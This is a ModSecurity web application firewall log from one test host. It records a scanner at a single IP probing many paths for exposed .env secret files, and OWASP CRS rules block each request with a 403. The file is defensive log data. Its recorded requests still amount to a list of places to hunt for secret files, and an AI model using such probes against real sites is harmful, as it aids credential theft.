[Wed Feb 25 06:05:28.490136 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqgAAAAQ&quot;]
[Wed Feb 25 06:05:28.538300 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pictures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXPwAAAAI&quot;]
[Wed Feb 25 06:05:28.538631 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXPwAAAAI&quot;]
[Wed Feb 25 06:05:28.538808 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pictures/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXPwAAAAI&quot;]
[Wed Feb 25 06:05:28.569886 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /robots/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrAAAAAQ&quot;]
[Wed Feb 25 06:05:28.570163 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrAAAAAQ&quot;]
[Wed Feb 25 06:05:28.570389 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrAAAAAQ&quot;]
[Wed Feb 25 06:05:28.585261 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQAAAAAI&quot;]
[Wed Feb 25 06:05:28.585546 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQAAAAAI&quot;]
[Wed Feb 25 06:05:28.585718 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platform/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQAAAAAI&quot;]
[Wed Feb 25 06:05:28.644908 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /playground/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQQAAAAI&quot;]
[Wed Feb 25 06:05:28.645188 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQQAAAAI&quot;]
[Wed Feb 25 06:05:28.645373 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/playground/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQQAAAAI&quot;]
[Wed Feb 25 06:05:28.674537 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugin_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQgAAAAI&quot;]
[Wed Feb 25 06:05:28.674864 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQgAAAAI&quot;]
[Wed Feb 25 06:05:28.675045 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugin_static/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQgAAAAI&quot;]
[Wed Feb 25 06:05:28.763461 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrgAAAAQ&quot;]
[Wed Feb 25 06:05:28.763742 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrgAAAAQ&quot;]
[Wed Feb 25 06:05:28.763980 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrgAAAAQ&quot;]
[Wed Feb 25 06:05:28.767690 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQwAAAAI&quot;]
[Wed Feb 25 06:05:28.767978 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQwAAAAI&quot;]
[Wed Feb 25 06:05:28.768165 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXQwAAAAI&quot;]
[Wed Feb 25 06:05:28.809690 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rosterback/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrwAAAAQ&quot;]
[Wed Feb 25 06:05:28.809966 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrwAAAAQ&quot;]
[Wed Feb 25 06:05:28.810147 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXrwAAAAQ&quot;]
[Wed Feb 25 06:05:28.838916 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /post-deployment/.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXRAAAAAI&quot;]
[Wed Feb 25 06:05:28.839193 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXRAAAAAI&quot;]
[Wed Feb 25 06:05:28.839377 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXRAAAAAI&quot;]
[Wed Feb 25 06:05:28.840666 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcube/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXsAAAAAQ&quot;]
[Wed Feb 25 06:05:28.840946 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXsAAAAAQ&quot;]
[Wed Feb 25 06:05:28.841110 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXsAAAAAQ&quot;]
[Wed Feb 25 06:05:28.868917 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /postfixadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXRQAAAAI&quot;]
[Wed Feb 25 06:05:28.869194 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ6DGFIszkcv5YapLJKXRQAAAAI&quot;]
